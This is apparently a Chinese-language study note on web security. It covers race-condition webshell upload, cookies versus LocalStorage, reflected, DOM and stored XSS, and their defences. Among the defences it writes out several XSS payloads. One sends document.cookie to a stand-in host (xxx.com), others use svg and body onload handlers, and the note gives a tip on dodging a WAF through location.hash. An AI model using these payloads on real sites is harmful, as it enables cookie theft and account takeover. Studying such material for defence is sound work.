<aside>
💡 Notion Tip: Web安全.
</aside>
条件竞争
- 服务端处理不同用户请求是并发进行,如果处理不当或逻辑设计不合理,会造成此问题
- web程序有上传文件的功能:大量的并发请求,并同时传递一个恶意webshell图片,并发上传及并发访问,只要服务端在处理过程中没有及时过滤此webshell图片马,而你访问到了webshell,此时就会在服务端生成一个马
- 防御:加锁,例如mysql执行事务前加BEGIN,后加COMMIT,从而锁定一次事务处理,使按序进行
Cookie和LocalStorage
- Cookie:包括名字、值、过期时间、路径和域。路径与域一起构成cookie的作用范围。若不设置时间,则表示这个cookie的生命期为浏览器会话期间,关闭浏览器窗口,cookie就会消失。这种生命期为浏览器会话期的cookie被称为会话cookie。会话cookie一般不存储在硬盘而是保存在内存里,当然这个行为并不是规范规定的
- LocalStorage:将数据保存在客户端本地的硬件设备(通常指硬盘,也可以是其他硬件设备)中,即使浏览器被关闭了,该数据仍然存在,下次打开浏览器访问网站时仍然可以继续使用
XSS类型及防御
- 反射型XSS:诱导用户点击做好的URL,url内包含一个
<script>window.location.href='<http://xxx.com/?cookie='+document.cookie></script>
,用户点击url后,会去请求网站服务器,服务器返回cookie,然后cookie返回到http://xxx.com?cookie
,获取到用户的cookie,用 用户的cookie登录网站
- 如:我造了URL,你点了,把你cookie传回给我了,我用你cookie盗刷你钱
- 只能在源网站基础上去反射cookie回来,因为正常的逻辑是不会允许第三方网站得到cookie,所以就得利用源网站原有的漏洞或者js,伪装成源网站的样子,骗过
- DOM型XSS:让代码在本地运行不会让服务器去处理(
</option></select><svg/οnlοad=alert(document.cookie)>
,#</option></select><BODY ONLOAD=alert(document.cookie)>
),通过url传入参数去控制触发的,和反射型差不多,都是构造恶意payload,让别人去点击,只不过反射型是传给你,而dom型是在他主机做骚操作
- 有些情况Dom Xss的Payload,可以通过
location.hash
,即设置为锚部分从#
之后的部分,既能让JS
读取到该参数,又不让该参数传入到服务器,从而避免waf检测。location.search
也类似,它可以把部分参数放在?
之后的部分
- 找到类似
document.write
、innerHTML
赋值、outterHTML
赋值、window.location
操作、写javascript:
后内容、eval
、setTimeout
、setInterval
等直接执行之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数
- 参考【Dom XSS】:https://xz.aliyun.com/t/5181
dcument.getElementById("a").innerHTML="yyyyyy";
- 如:我造了payload写在url后缀里,你点了,payload在你电脑执行,把你cookie或用户数据传回给我了,我用你cookie盗刷你钱;常见的就是
cookie
和localstorage
- 存储型XSS:向服务器提交恶意脚本,脚本被存储,然后有点儿背的用户访问了这个恶意脚本,获取到用户数据,比如cookie,我用你cookie盗刷你钱
- 防御:
- HTML内容及URL参数进行编码
- 定义域名白名单
- 设置Cookie的HttpOnly属性
XSS验证
- 插入语句、改变结果、操作数据
- 不严谨的输出:
<td>test</td>
- 被XSS:
<td>test</td><svg/onload=console.log(1)><td></td>
- Payload:
test</td><svg/onload=console.log(1)><td>